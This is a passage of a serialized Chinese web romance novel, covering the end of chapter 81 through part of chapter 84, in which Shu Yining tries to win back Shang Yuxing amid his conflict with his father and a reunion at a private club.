许夏天见她这两天精神状态好了许多,这才拉着她来电玩城玩小游戏。但她玩了没几个项目就又没力气了。 许夏天如今只能PUA她了:“我让邢南再想想办法。不是和你说了么?你现在的当务之急就是赶紧把自己养养好,成天没精打采的,你要是商聿行,你会回头?” 舒以宁:“我已经很努力在恢复状态了。” “以宁。”说话间,身后传来一道沉稳磁性的男性声音。 舒以宁十分意外会在这儿撞见商聿行的父亲,立马换上一副端庄得体的笑容,迎上去:“伯父,这么巧。” 商砚廷微微一笑,“我专程过来一趟,找你喝茶。不知道你是否方便腾出时间?” 舒以宁忙道:“伯父言重了。” 商砚廷看向不远处站着的许夏天,笑着朝她略一颔首,接着收回目光重新看回舒以宁:“你朋友?” “啊,对。许夏天,邢南的女朋友。”舒以宁介绍道。 商砚廷:“一起?”—— 作者有话说:这两天会更完~ 第82章 落日沉下山头,余晖洒在紧闭的窗户上。 墙上挂着铜鎏金雕饰布勒镶嵌挂钟,纹理清晰繁复,沉淀的历史感都隐藏在了岁月之中。 时针已经走过了一圈,回到前一天最初的位置。 管家拉开书房的大门,看着满地狼藉,忍不住叹了一口气。 商聿行靠在休息区的单人沙发座上,听到动静,只冷冷抬眸,未说话也未有动作。 他砸碎的手机躺在几步之遥的地面上,与名贵瓷器、书架玻璃等碎片混杂在一起,支离破碎。 他的状态不能算好,眼睛下面一片乌黑色,脖颈青筋凸起。 但目光如炬,令人不寒而栗。 管家小心翼翼地绕过碎片,一路上顺手扶正被踹倒的博古架与矮几。他走到了商聿行面前,担忧道:“少爷,该洗漱一番用晚饭了。” 商聿行盯着他:“商砚廷人呢?” 管家温声答道:“先生让你先冷静一会儿,等你冷静了,先生自会见你。” 商聿行站了起来,大步流星往外走。管家一脸忧虑地张开嘴巴想提醒他小心脚下,又默默地闭上了嘴巴。 商聿行的司机没离开古北公馆,上了车,商聿行先问他要手机:“手机给我。” 司机不明所以,但见他状态异常,便也不敢多问。 商聿行记得舒以宁的手机号码,刚按下几个数字,通讯录就跳出来“舒小姐”三个字的关联。他于是直接按下这个号码,拨通了舒以宁的电话。 舒以宁单独用过几次商聿行的司机,因此一接通电话就开口问道:“喂,怎么了杨叔叔?是不是商聿行派你来接我呀?” 她的语气中难掩兴奋,好似迫不及待。 商聿行一身的暴戾渐渐平稳下来,短时间内并未开口。 舒以宁没听见他说话,于是又说:“是不是商聿行还不肯原谅我?杨叔叔,你帮帮我嘛,他今晚会去哪里?我可以去堵他吗?” 商聿行闭上眼,脑袋微微往后靠,轻启薄唇:“是我,以宁。” 舒以宁的语气肉耳可闻地更加兴奋了,甚至可以用雀跃来形容:“商聿行!” 商聿行:“嗯。” 舒以宁逮住机会噼里啪啦说了一大堆,先是吹了一阵彩虹屁,再然后又讲到最近路过曾经与他一起去过的哪里哪里,最后还带上委屈巴巴的语气央求他:“你能不能别再生我气了,商聿行。” 商聿行闭目养神了一会儿,问她:“商……我父亲没有找你?” 舒以宁没想瞒他,坦陈道:“找我了啊,咦,原来你知道这件事啊。你父亲看起来很有距离感,没想到聊起天来,还挺平易近人的。他还和我们抱怨了呢,抱怨你妈妈跑去北京参加有肖寂在场的活动,Cartier的那个晚宴,哈哈哈哈。” “你们?” “是呀,我和夏夏。” 商聿行低头捏了捏眉骨,抽丝剥茧,很快就梳理清了来龙去脉。他对司机说:“掉头回古北。” 下一秒,他又改了主意:“不用掉头了。” 电话还没挂,他问舒以宁:“你在哪里?” 司机看了一眼中央后视镜,男人阖眸靠在椅背上,一只手举着手机,另一只手正轻揉着额角。车窗外路灯已经亮起,男人英俊的面孔在晦明晦暗的灯光中被勾勒出几分孤寂。 电话另一头舒以宁很快就给出了答案,商聿行没睁眼,对司机报出地点:“去西岸美术馆。” ** 下了车,商聿行轻车熟路地走进展览馆二楼。 舒以宁正在与工作人员沟通场地布置,从已经摆上的元素以及留出的画框中可以窥见这次是个山河主题展。 舒以宁频频往楼梯口的方向望,又一次望过来时,恰好与走近的商聿行四目交汇。她脸上的笑容瞬间绽放得更大了,对着旁边人说了句“抱歉,失陪”,就朝他奔来。 “商聿行,你还真的来找我了。”舒以宁踩着高跟鞋小跑到他跟前站定,忍不住弯了弯眼。 商聿行彻夜未睡,又情绪起伏波动过大、砸东西的体力消耗也不小,因此,这张总是冷静自持的精神面孔上难掩倦容。 平添两分散漫,又在见到她无恙后,多了两分松弛。 不像执掌偌大一个集团的正经总裁,倒像个在外面浪了一夜的浪荡公子哥。 “你……刚出差回来吗?还没倒时差,一落地就来找我了?”舒以宁仰着脸,乌黑明澈的双眸饱含期待地望着他。 这双眼仿佛在问他—— 商聿行,你是不是终于愿意原谅我了? 这就是舒以宁。 她明明知道,此刻他出现在这里,以这样一种不修边幅的姿态,就足以证明她在他心目中的重要程度。哪怕她只以为他是刚下飞机。 她什么都懂,什么都明白。 但她偏偏要假装成你还不肯原谅她,偏偏要来获得你一个说出口的、明明白白的答案。用祈求的下位者姿态,掌控这段她可以收放自如的感情。 这一刻,商聿行甚至开始理解商砚廷曾经告诉他的那句——在我和你母亲的关系里,你母亲才是猎人。 商聿行看了她一会儿,一言不发转身往外走。 舒以宁一愣,显然没料到他怎么突然就又要走了。 商聿行这么反复无常的吗? 她一个怔忪的工夫,他已经走到了下去的楼梯上。 舒以宁连忙追上去,压着嗓音喊住他:“商聿行!”美术馆内不能大喊大叫,哪怕现在是闭馆时间,她的修养也不允许她发出太大的声响来。 于是,只好在语气里忍不住带上了颇有些急切的怒意。 搁以往,舒以宁很清楚一个男人在明显没有休息好的时候匆匆赶来见一个女人意味着什么。她也笃定自己能有这样的魅力,让一个受了她情伤的男人为她回头。 但他不按常理出牌,她顿时又不确定了。 商聿行停住脚步,微微往后侧了下脸。 他的侧脸线条冷峻流畅,优越轮廓中高挺的鼻梁与棱角分明的下颚线一览无余。 是一副很符合他人设的清冷冰山模样。 禁欲,疏离,拒人于千里之外。 没有人能比舒以宁更清楚,这张俊美不可方物的脸在染上两分情欲时,是多么的诱人深入,多么的令人不可自拔。 舒以宁抿了抿唇,挽留道:“商聿行,我真的知道错了,你别走。” 闻言,商聿行的侧脸又转过来了一点,抬眸看着她:“有事在身,我明天再来找你。” 他的眼神很淡,舒以宁却一下子就从中读出了一股死灰复燃的味道。 一直等到商聿行离开了好一会儿、工作人员上前喊她,她才缓缓回过神来。 今天老馆长也在,从三楼下来时正好目睹了方才那一幕,笑着调侃她:“这是和好了?又吵架了?” 舒以宁弯了弯唇角,承认道:“是啊,他都不肯让一让我,还得我哄他。” ** 商聿行没有急着去见商砚廷。 他回世纪城,吃了晚饭,然后将自己从里到外好好收拾了一下。 他已经接近四十个小时没有合过眼,精神状态勉强维持在一个判断力清醒的水准。 商聿行知道当前并非找商砚廷的最佳时机,理智告诉他,他应当在充足的睡眠休息后,再回古北与商砚廷对峙。 可是他等不了。 在事情尘埃落定以前,他根本就无法睡下去。 于是晚上七点半,商聿行回到了古北公馆。 令人意外的是,时虞提前从北京回来了。她只比商聿行早回家不到一个小时,而书房早已收拾妥当,教人看不出太多异常来。 对于换掉的古董花瓶,她即便发现后问两句,也只会得到一些事先准备好的、再正常不过的说辞。 自然,不会生疑。 “晚饭吃过了没有?我让厨房做一点?”时虞凑近看了看商聿行的眼下,拉着他的西服袖子关怀道:“这两天没睡好么?我着人做些汤水给你补补。” 商聿行温声答道:“吃过晚饭了,我没事,昨晚没睡好而已,您不必挂心。” 他不着痕迹地看了一眼站在旁侧的管家,然后笑着问起时虞此次北京之行是否愉快。 “照顾了一下他,买了六套珠宝。哎,以宁什么时候有空?带她回来挑个几套走。” 肖寂作为陪客,时虞在晚宴上的支出,他能获得相应的业绩提成。 商聿行听到这句话,顿时忍不住笑了一下。 是了。 是他一遇上舒以宁的事就头脑发昏,自乱阵脚。 他母亲现如今可是一直都很看好以宁做她儿媳妇的,在这种情况下,商砚廷如果强行对以宁做点什么,那可不就单单是父子关系分崩离析了。 商砚廷视妻子重于一切,连追星追到活动上去刷他的卡大肆采购都忍了,又怎会冒着风险如此行事? 时虞见他笑,只当他是因为舒以宁,于是也笑道:“一提起以宁,就这么开心?” 管家怕他们母子再交流下去容易被时虞看出端倪,便恭敬地开口打断:“夫人,先生还在书房等着少爷上去汇报工作。” ** 窗明几净,书房内的摆设一眼看过去,与往常无异。被砸碎的古董花瓶被替换了上来,书架、沙发也都收拾得瞧不出半点被打砸过的痕迹。 商聿行站在商砚廷书桌前,垂眸看着靠在黄花梨椅子里的这个运筹帷幄的男人。 商砚廷笑了笑。 商聿行进来后一句话都还没有说过,径直走到了他面前,就这么直直地盯着他。 “见着你母亲了?”商砚廷气定神闲开了口。 商聿行:“您该庆幸母亲没有五点前回到家。” 商砚廷微微一笑,饶有兴味地看着他:“你怎么知道不是我派人拖延了几个小时?” 不过事情做得不动声色,无非就是派人让肖寂那边在时虞上飞机前,临时加了个杂志拍摄探班活动的邀请。 时虞原先突然起意提前回来,也并无旁的要事,因此一下子就欣然接受邀请探班去了。 商聿行冷淡道:“那您还真是煞费苦心。” 商砚廷笑了笑,拉开左边抽屉,从中取出一个盒子往前一放,“你的东西。” 商聿行狐疑地看了他一眼,拿起小盒打开。 是他的手机。 虽然已经砸碎了,但若有重要资料或是联系方式,可以取出来备份。 商砚廷:“你还是太冲动了,这点得改。” 他抿了一口清茶,继续泰然开口:“砸了我七八百万的古董,得赔。” 还好没对那些有市无价的珍藏画作下手,不然,为了这臭小子的感情纠纷还得赔上他的珍宝。 商聿行合上盒子,抬眸看着他,故意阴阳他:“闹出这么大动静,就是想换批摆设?” 商砚廷看出他还别扭着,淡淡一笑,说:“阿行,我不会真正伤害到你。无论如何,你都是我和你母亲最爱的孩子。” “当初拿鞭子抽我的时候也没手下留情。” “过去的事就都过去了,我不想和你争论个是非对错。今日之事,我想,你也不想让你母亲担忧。” “就为了逼我回头复合,逼我结婚?”商聿行轻笑,“那您的如意算盘可打错了,舒以宁是个不婚主义者。” 商砚廷对此毫不意外,缓声道:“我是给你个机会,看清楚自己的内心。” 他搁下茶盏,攫住商聿行的双眸,目光深远而沉静:“这是我新教你的一课——感情里有一个词,叫见好就收。不要等错过了,再来追悔莫及。” 走出书房前,商聿行固执地要他的一句亲口回答:“你真的没有对以宁做任何事?” 商砚廷坦然与他对视,笑道:“没有。” “你找她聊了什么?” “这个话题,留给你找那孩子好好问问去。” 商聿行推门而出的时候,看到了候在门口的管家。 “森叔,我今天不该迁怒于你,抱歉。” 管家苍老的脸上露出一个慈祥的笑容,回道:“少爷得偿所愿,高兴了就好。先生年轻时也与少爷一般,一度为着一口气不肯放下面子。倒头来,怎么着少爷你也都见着了。” “我的情况与我父母不同。” “哪有什么不同,男女感情之事我懂得不多,但总归是没有公平可言的。” 商聿行闻言,笑着认同:“你说得对。” ** 商聿行在古北公馆睡了一个晚上,从九点不到一直睡到次日七点。 舒以宁则是辗转难眠,一直到天蒙蒙亮才有了点睡意。 然后,一觉睡到了中午十一点半。 她醒来睁开眼,一看到时间就暗道坏了。 紧接着立马打开手机微信,果不其然,商聿行已经给她发了消息:[起了?] 时间是今天上午9:08分。 整整两个多小时前。 完,蛋了。 舒以宁心里想着这三个字,但唇角已经不受控制得翘了起来。 反正也不差这一会儿时间,她没有着急回,而是先将自己的微信昵称一个字一个字地改为——syx全球官方粉丝。 商聿行将原来的“BB”两个字母删掉后,并未给舒以宁设置备注,于是他收到的消息就是: syx全球官方粉丝;[今天也是为哥哥起床的一天。] syx全球官方粉丝;[爱你我的堡.jpg] 第83章 邢南陪商聿行打了一个上午的网球,挥汗如雨,深感自己最近锻炼得不够,体力跟不上了。 他淋浴完出来,看到已经淋完浴的商聿行坐在休息室里看手机。 商聿行的神情淡淡的,但邢南还是莫名从他脸上看出了愉悦感。他笑着走过去,“什么事儿这么开心呢?” 照往常,邢南是不会往商聿行手机屏幕上看的,偏偏这回凑过去看了一眼。 对方也没有半点遮掩的意思。 于是,邢南第一眼就看到了title上的加粗名字—— syx全球官方粉丝。 “这个头像……是以宁?” 舒以宁很少换头像,一直用的都是《疯狂动物城》里的那只死兔子,邢南一眼就认了出来。 在邢南灼灼目光的注视下,商聿行轻描淡写地回了一个字:[嗯。] 邢南:“……” 傲娇的死直男。 不过—— “你和以宁终于和好了?” 商聿行靠在沙发里,慵懒地掀起眼皮:“还不算。” 邢南顿时笑了起来:“那就是了。” 能让商聿行松了口,不就复合了大半? “我说你怎么翘班出来找我打网球呢。”邢南笑着划开手机屏幕,“我叫上夏夏,让夏夏喊上以宁,我们四个中午一块儿吃饭?” “不了,下午有会。” “几点的?吃个午饭都来不及?” 商聿行看了他一眼。 邢南顿时明白了,敢情这家伙是想再拿拿乔,要人以宁再好好哄一哄? 他忍不住笑了,“成,我会告诉夏夏你的气已经消得差不多了,但还没完全消完。” 等于间接给舒以宁传话。 商聿行转着手机把玩,不知道在想些什么。 邢南笑道:“能跟你个没几句话的人生活在一块儿,以宁还真是不容易。” 商聿行转手机的手一顿,淡嘲道:“我向来是个没什么趣味可言的人。” 邢南没想到自己不过是一句玩笑话,竟惹得商聿行代入进去了。他知道商聿行八成在心里想到了与以宁之间的对比,叹了口气,说:“你怎么知道你不够有趣呢?退一步讲,就算有人比你有趣的多,难道以宁就会抛下你去喜欢那个‘有人’了?那她又何必为了挽回你,做到这个地步?” “夏夏和我说,以宁从来不吃回头草,更别说是她主动去求人复合了。我就不信你不知道这些,干嘛突然在这儿自怨自艾?看得真教人来气。” 邢南噼里啪啦一顿输出,斟酌了一会儿,又说:“我听夏夏说了,你想结婚,以宁不愿意。你愿不愿意从我的角度,听一听我作为一个不想结婚的人,我的想法?” 商聿行站起身,穿上西服,一丝不苟地扭着纽扣,“不必了。” “我也不是想结婚的人。”他冷着脸,微微侧下头整理袖口,脊背站得笔直挺拔。 邢南无奈摊了摊手,笑道:“夏夏说你傲娇,还真没说错。” 商聿行自是不会去计较这点小事,轻轻一笑,说:“既然不想结婚,就事先和人说清楚。” 邢南漫不经心地笑道:“我和夏夏还没到结不结婚那步,远着呢。” 商聿行穿戴整齐,离开前问了他一句:“你爱她吗?” 邢南坦言:“没到那步。” 他能给许夏天的,无非就是圆她一场梦。 至于爱不爱的,又从何谈起? 商聿行刚踏进公司,江路南就抱着文件走上前跟着他进电梯:“总裁,舒小姐来了,我安排在了会客厅休息。” 商聿行淡淡:“嗯。” 江路南从昨晚收到商聿行说以后不用再拦舒以宁的消息开始,就对他们俩的进展抓耳挠腮。商聿行今天上午没来上班,江路南本以为是他“春宵一刻值千金,从此君王不早朝”,哪成想舒以宁又突然来了。 也就是,他们俩没待在一块儿,那…… 江路南越想越想不明白。 再加上他前天晚上有项工作要做补充汇报,却怎么也没联系上总裁,而董事长又下令24小时内公司一应事务交由肖岳处理…… 扑朔迷离。 商聿行抬眸,从玻璃幕墙的反光面上看出了江路南脸上的疑惑。他微微勾了勾唇角,“怎么,以为我被夺权了?” 江路南当即收拾好神态,挺直腰微笑:“总裁渊图远算,举无遗算……” “有朝一日我与商砚廷对立,你站哪方阵营?”商聿行倏然开口打断他。 江路南呼吸一窒。 他是由商聿行一手培养起来的。 在肖岳被丢去南美前,商聿行从复旦本部的邯郸校区选中了已经保研的江路南。江路南为此放弃了读研,入职商盛,一上来就到了商聿行身边工作。在秘书处一众藤校毕业的高材生中,他学历不算起眼,但商聿行从一开始就给了他最大的机会。后来肖岳外派,在交接的那段日子里,肖岳手把手带着他交接工作,对他几无保留。 因此,江路南彻彻底底是商聿行的人。 他听到商聿行的这句突兀的问话以后,首先是震惊这一天这么快就要来了,其后便瞬间想通为何总裁会这么问他。他当即表忠心:“总裁,我的确十分感谢肖总的倾囊相授。只是无论肖总是何立场,路南都只是总裁您的助理,只听您的安排。” 他没有过多考虑这里头的利害关系,哪怕他清楚商聿行与商砚廷的这场仗绝对不好打,总裁甚至处于相当劣势的局面。 商聿行望着玻璃幕墙看了他一会儿,倏尔低头一笑。 电梯叮一声,到达五十九楼。 商聿行单手插兜,漫不经心道:“哪天董事长要出山,我不见得能全身而退。不过,我会给你安排个好去处。” 江路南不无担忧地喊了句“总裁”。 “放心。”商聿行拍了拍他的肩膀,走出电梯,“好在暂时看来,不会有那一天。” 会客厅里,舒以宁刚坐下没几分钟。 江路南敲门进来请她进总裁办。 “不用不用,我能拿得动。”舒以宁拎着打包袋,拒绝江路南想要帮他提东西的好意。 办公室内,商聿行一上午没来公司,积压的文件虽然不算很多,但处理起来也要花个个把小时。 舒以宁就这么拎着满满当当的打包袋,往他面前一站,眉眼弯弯道:“商聿行,我打包了一家新开的淮扬菜,来和你一起吃。” 商聿行搁下钢笔,抬眸示意她看一眼壁钟上的时间。 十二点五十分。 他的意思不言而喻——都这个点了,他已经吃过午饭了。 舒以宁明亮的大眼睛登时黯淡下去,她将带着余温的打包袋抱进怀里,垂下脑袋恹恹道:“你果然还是不肯原谅我。” 商聿行抬手揉了揉眉骨,饱满挺拔的喉结轻轻滚动,眉宇间浮现出淡淡的无奈:“拿出来罢。” 他的嗓音轻缓低沉,落在舒以宁耳中,性感得要命。 舒以宁双眸一亮,立马将打包袋抱到他的办公桌上,一边拆一边指挥他:“把你桌上的文件收一收。” 商聿行:“……” 他淡淡看了她一眼,终究还是合上文件夹,而后将一叠文件简单整理齐,推到了一旁。 在这个位置坐了近十年,这还是他第一次,坐在这张办公桌上吃东西。 手工清炖狮子头入口即化,小排骨咸香入味,空心菜苗清淡解腻,松鼠桂鱼外酥里嫩、酸甜可口。 还有一道韭菜腰花,商聿行动都没动筷子。 舒以宁见他不动筷子,于是殷勤地给他夹了一筷子韭菜。 商聿行挑了下眉,睇过来的眸光冷冷淡淡。 舒以宁这才意识到了什么。 空气刹那间陷入死寂。 ** 舒以宁走出商盛大楼,抬头望了眼高耸入天的CBD大楼,低头叹了一口气。 她上了车,连上蓝牙打给许夏天。 “我就给他夹了筷韭菜,他就把我赶出来了。”舒以宁将前因后果一说,一筹莫展。 明明,他妥协吃她带来的饭菜时,态度瞧上去明显已经缓和了。 男人心,海底针。 阴晴不定。 许夏天:“就只是夹了韭菜,你这张小嘴巴没说什么不该说的话吧?” 舒以宁否认:“当然没有,我是去哄他的,怎么可能会说不合时宜的话惹他不高兴。” 许夏天想了想,一下子就明白了:“那他估计觉得你对他的挽回根本不是真心的,你只是觊觎他的□□。” 舒以宁仔细想了想自己在他面前的表现,似乎……是有这么点被误会的可能。 闺蜜之间,不需要讲究个迂回婉转。 她直接说:“你让邢南想想办法,把他约出来喝酒。” “你想让邢南灌醉他?这可能有点困难。”许夏天似乎与谁说了句话,然后对着电话这头说:“邢南说了,他没见商聿行喝醉过。” “……邢南现在在你旁边?你接我电话都不避开他?” “我们在TNTSPACE抽盲盒呢,你来不来?” “你们好好享受二人世界吧,挂了。” “哎等等,邢南说今晚他可以把商聿行喊来R&F喝酒。不过没个具体时间,商聿行几点来、来不来,他都不能打包票。” ** 与舒以宁打完电话,许夏天从邢南手里接过他帮她拎了一会儿的痛包,仰起头看着他:“邢南,你一定会把商聿行叫来的,是吗?” 她眼睛长得大,黑白分明,忽闪忽闪地仰望着一个人的时候,很难让对方拒绝她。 邢南垂着眼与她对视了一会儿,忽而笑了。 “要是诚心复合,你不如劝以宁主动向阿行求婚。” 许夏天何尝不知道这点:“以宁不会结婚的。” 邢南笑了笑,跟上许夏天的脚步去排队结账。 “我也是。”他倏然道。 许夏天调整pin的动作一顿。 “这套不错,挺可爱的,端盒吗?” 邢南的声音在她耳边再度响起。 许夏天回头,若无其事地扬起一个笑脸:“这个系列我已经集齐了。” 一入夜,R&F就拉开了璀璨星河。 邢南坐在会所包厢里打牌,一手扔牌,一手拿着手机给商聿行打电话: “下班了没?来我这喝点?” “酒给你留着,就当来陪兄弟喝两杯。” “行,那你先忙。” 牌局上一圈内公子哥等他挂了电话,忙笑问:“南哥,行哥一会儿要来?” 邢南叼着雪茄,摸了一张牌,抬眸间戏谑道:“你那创业项目想找阿行投?” 那人恭敬陪着笑:“还得劳烦南哥牵个线。” 他上回在一个晚宴上遇到商聿行,没好意思往前凑。 邢南碰了张牌,指间夹着雪茄,眯着眼吐出烟雾,“今日打牌,不谈这些。” 另一人乐呵呵活跃气氛:“是啊,阿南,你今天运道一般啊,看来情场得意?”他比邢南年长几岁,家里做实体业,比在座其他人殷实不少,与邢家能算得上是世交,说起话来也就少了许多顾忌。 邢南笑了下,没答话。 他便又问起:“我听闻商聿行和舒以宁分手了?前阵子还如胶似漆、沸沸扬扬,在网上也火了一把……商聿行这是腻了?” 邢南冷厉抬起眼,唇角挂着笑容,目光往他双眼盯住,毫不客气道:“蒋鲁鸣,嘴巴放尊重点,这话我今天就当没听见,下回你就自求多福。” 蒋鲁鸣忙求饶:“哎呀,我这不是外头听来的嘛。我表弟,你知道的,他追舒以宁都追不知道多少回了。知道舒以宁跟了商聿行那会儿,他都伤心得生了场大病。你看,要是他们俩真结束了,我表弟也能再努努力不是?” 邢南冷笑,兴致阑珊地丢出一张牌:“有本事你过会儿当面问阿行去,我可不敢担当他的发言人。” 蒋鲁鸣赶紧摆摆手,笑道:“开个玩笑,兄弟,你就当我纯属嘴里放屁。” 这边牌局尚未结束,经理进来在邢南耳边附耳道许小姐和舒小姐来了。 邢南随手招了个在旁看牌的人,笑道:“输了算我的。” R&F的包厢私密性很足,三楼最里边的两间电梯更是从地上车库单独通到包厢里,几乎不对外开放。不过,商聿行来R&F时一般也不爱待这两个包间。 邢南让人将舒以宁和许夏天请进了最里边的包厢,他一进去,就笑道:“不是让你们九点半以后再过来,这么迫不及待?阿行还没到呢。” 舒以宁穿了一条香槟色双面缎吊带裙,长发如瀑,发尾卷着慵懒的弧度。她的眼睛很漂亮,望过来时,眼底好似盛着满杯星光。 “南哥。”她轻轻一笑,嘴上说着感谢的话:“不管他今天来与不来,我都由衷感谢南哥的帮助。” “都是朋友,言重了。”邢南走上前,揽着许夏天的肩膀,低眸看了她一会儿。 许夏天仰着瓷白的小脸冲他笑,满是天真无邪的模样。 邢南忍不住笑道:“还是咱们夏夏最有本事,多少年都是元气美少女的样子。” 他虽觉得舒以宁漂亮得不可方物,但向来都没怎么对她动过心思。 感情之事最是玄学,讲究一个感觉。 一旦遇上了,谁都躲不过去。 三人坐了一会儿,变着花样喝特调鸡尾酒,随意聊着天。 邢南知道商聿行八成会来—— 他在进这间包厢前,给商聿行发了微信消息:[以宁来了。] 话不用多,他但凡想要回头,就会来这么一遭。 果不其然,过了不到一刻钟,经理就过来告诉他商总来了。 邢南放下岩石杯,站起身。 许夏天拉住他的手臂,抬头问:“商聿行来了?” “来了,在隔壁。”邢南看了眼灯光下明媚娇艳如盛开繁花般的舒以宁,笑道:“以宁,我酒量可没阿行好,灌醉他我做不到。但如果你信我,你可以把自己灌醉,我保证阿行不会对你放任不管。” 第84章 邢南陪商聿行喝了没两杯,许夏天就让人过来告诉他舒以宁已经喝醉了。 “主意是我出的,酒是我建议以宁喝的,接下去要怎么做,看你。”邢南没打算瞒着商聿行,更不打算骗他说舒以宁是来这借酒浇愁。 就这么直白地将缘由说给了他听。 没有人可以算计商聿行,邢南也没有这个必要去算计商聿行。 这毕竟是他兄弟,无论如何,他都不能为了旁人真去算计他。 “你可以当没听见,反正,有夏夏在,她能照顾好以宁。我会送她们回去,不过这一回去,明天以宁酒醒了,想必也就明白你的意思了。喏,接下去说不定她就看开了,正好如你意不来纠缠你了。”邢南故意说。 商聿行袖口挽起,露出线条流畅而优雅的手腕。他徐徐抿了口威士忌,眉宇间甚至没有皱一下,仿若未闻。 邢南见他不急,便也本着皇帝不急太监……大臣也没必要急的心态,慢悠悠添了点酒细品起来。 就冲商聿行今天进的是这间私密性极高的包厢,他邢南就敢打包票,商聿行没打算单纯露下脸就走。 又一杯酒空了。 商聿行睇了他一眼。 邢南歪嘴一笑,伸手给他倒了酒,又夹了两块冰块。 商聿行靠在卡座上,唇角勾起冷笑,黑眸深邃:“花招动到我头上,我看你是找死。” “那我好怕怕。”邢南气定神闲地给自己又倒上一杯,接着,笑着朝他举了举手中的岩石杯:“再不过去,我送她俩回去了?” 商聿行换了个笑,左手拎起酒杯与他一碰,仰头饮尽。 下一秒,邢南看着他重重撂下酒杯,起身大步流星地朝隔壁去了。 ** 舒以宁喝得不算多,但也不少,勉强维持在一个清醒的状态。 她靠在软包靠背上小憩,不知过了多久,耳边响起许夏天的气音:“商聿行来了,那我先撤了啊。” 舒以宁没有立马睁开眼。 她有些困倦,因着喝了酒,心底里也莫名滋长出了些委屈。 他好像隔了很久才来,久到,她都快要睡着了。 包厢里其他人都撤了出去,关上门,把空间留给他们两个。 商聿行垂眸看了她一会儿。 她似有感应似的,倏然睁开眼。 舒以宁抬眸仰望着他,平行微翘的桃花眼仿若一汪春池。她喝了酒,眼尾眉梢染着两分醉意,一颦一笑皆是勾人。 商聿行喉结轻滚,不自然地挪开目光,黑眸欲盖弥彰地看向别处。 只差一点,他想,他就要沉沦了。 但这一刻,他克制住了。 几乎竭尽所能的,克制住了。 舒以宁见他不看她,心中顿时生出几分挫败的感觉。她看着他清冷英朗的侧脸线条,越发感受到了眼前这个男人的冷漠。 连日来的避而不见,积压在一起,一种类似于委屈但又不能称作委屈的情绪占据着舒以宁,令她忍不住想要落下眼泪来。 他明明知道,她是无法走进婚姻的。 她的祖母,她的母亲,一次又一次地在她面前验证,男人是如何不靠谱的一种生物。 一时的荷尔蒙证明不了什么。 她从未怀疑过爱情,她相信爱情,追求爱情,享受爱情,但是—— 她从来不相信这世界上的爱情会与“永恒”两个字组合到一起。 所谓的天长地久、海枯石烂,不过是人类对于爱情的美好想象而已,不是么? 男女之间,哪有感情会永远不变;哪有爱意会永不消磨。 不过都是时间问题罢了。 随着时间的流逝,荷尔蒙消退,爱意也被逐渐消磨。 事实上,她自己也曾一次又一次地验证了这个道理。 或许这个世界上是存在着亘古不变的爱情的,只是,舒以宁不认为自己能够遇上这样的爱情。 同样的,她也并不对这样一份爱情抱有多少期待。 或许她的血液里终究流淌着她祖父与父亲的薄情寡义,或许她与他们,并没什么两样。她的前任们,也都认定她是个薄情的人。爱的时候轰轰烈烈,离开的时候毫不拖泥带水。 当初周嘉皓那句“舒以宁你没有心”,何尝不是对她的真实写照? 那一句控诉,当真生动地展现了她的无情。 可她没有办法。 她真的没有办法。 她无法放任自己在一段失去了感情的关系里行尸走肉下去,她只能结束,不能通往其他的答案。 舒以宁不是她的祖母,更不是她的母亲。她做不了她们那样的女人,无法忍受婚姻里的一点点背叛。 她是一个彻头彻尾的不婚主义者。 她不想在他面前卖惨,千言万语,只汇聚成一句—— “商聿行,你就不能让一让我吗?” 她香槟色吊带裙贴合纤细的腰身,肩膀薄薄一片。软调子的声音中含了一点悲泣,脑袋也低垂了下去,仿佛不愿意看到他离开的背影。 商聿行仅存的理智在刹那间分崩离析。 下一秒,舒以宁的后脑勺就被男人宽大灼热的手掌托住了。 她被迫仰起脸,与顷刻间压下的身影,双唇相触。 他吻住了她,用着不容抗拒的力道,展现单方面的压制。 是压制,也是臣服与妥协。 就这样吧,他心里这样想着。 就这样吧,就这样沉沦下去,在她的手掌之中。 做她的裙下之臣。 既然,她都不怕后果,那么,他又有何可纠结的呢? 左右大不了等她腻了、要离开他身边了,他用上点手段,令她举步维艰。 他总归有办法,困住她,要她不得不留在他身边。 留住一个人,对他来说,轻而易举。 就这样吧。 他接受未来的自己走上商砚廷的老路,接受未来的自己是曾经的那个自己所最厌恶的那一种人。 就让他沉沦在情感的地狱里,被欲望支配,抓着她,共沉沦。 ** 翌日清晨,舒以宁醒得早。 睁开眼首先看到的,就是男人肌肉线条十分流畅的结实小臂。 舒以宁没有失忆。此刻,昨晚发生的一切如电影般在她脑海中一一浮现,以及那一潮又一潮的夜色,被撞击得如同从云端跌落、继而又被托举抛上云朵。 她回味了一会儿,才轻轻地翻了个身,面对着商聿行那侧。 没想到男人已经在她之前醒了,碎发自然而然地垂在额前,古井无波的黑眸被衬得多了几分柔软。 舒以宁弯眸展开笑颜,伸开双臂迎着他的眸光抱住他的脖颈,毫不客气地埋在他胸膛上喃喃:“商聿行,我好爱你啊。” 男人低沉磁性的嗓音淡淡响起:“怎么证明你爱我?” 怎么证明? 这个问题倒是把舒以宁给问住了。 曾几何时,她似乎也问过他类似的问题。她问他,你有多喜欢我;而在她自己都没有意识到的这一刻,她脱口而出的,已经从“喜欢”变成了“爱”。 她爱商聿行吗? 她真的爱商聿行吗? 这到底仅仅是喜欢,还是已经到了爱的程度呢? 她本来是已经确定了的,但是这一刻,她好像又陷入了到底什么是爱的思想樊笼中。 只是简单的,脱口而出了,这么一句爱他。 但她想,自己一定是爱他的,潜意识里就很爱很爱他,才会有这句自然流露的表达。 商聿行的手摸上了她的头发,轻轻抚摸着,恰是爱人之间静水流深的亲密。 舒以宁从他怀中抬起头,问:“那你想要我怎么证明呢,商聿行?” “这是你需要考虑的。” “……好吧。” 又躺了一会儿,商聿行起床。今天是工作日,他上午有两个会。 舒以宁躺在被窝里看他穿衣服的背影。 嗯……这背,笔直挺拔,肩胛骨随着翻身而上的白衬衣有力地振动,真好看啊。 还有这屁股,线条轮廓更是一绝,比她的还要翘,下次一定要打两下试试手感OvO。 真好啊,这么个尤物,是归她舒以宁睡的呢。 “那我们这样……算是和好了吗,商聿行?”舒以宁越看越满意,忍不住把心里的话问出口。 商聿行微微往后侧过头,清高的眉棱骨下一双黑眸深不见底。他居高临下睇着她,很淡地扯了下唇角:“不算。” “……啊。”舒以宁无可奈何,将被子往上掖了掖,恹恹道:“那好吧。” 真是难搞,简直就是上一回他想要追回她时候的翻版。 商聿行回过头,继续有条不紊地穿戴。 舒以宁重新探出脑袋,看着他诱人的背影,看着他背对着她系领带、戴袖扣。 孤傲禁欲,高岭之花。 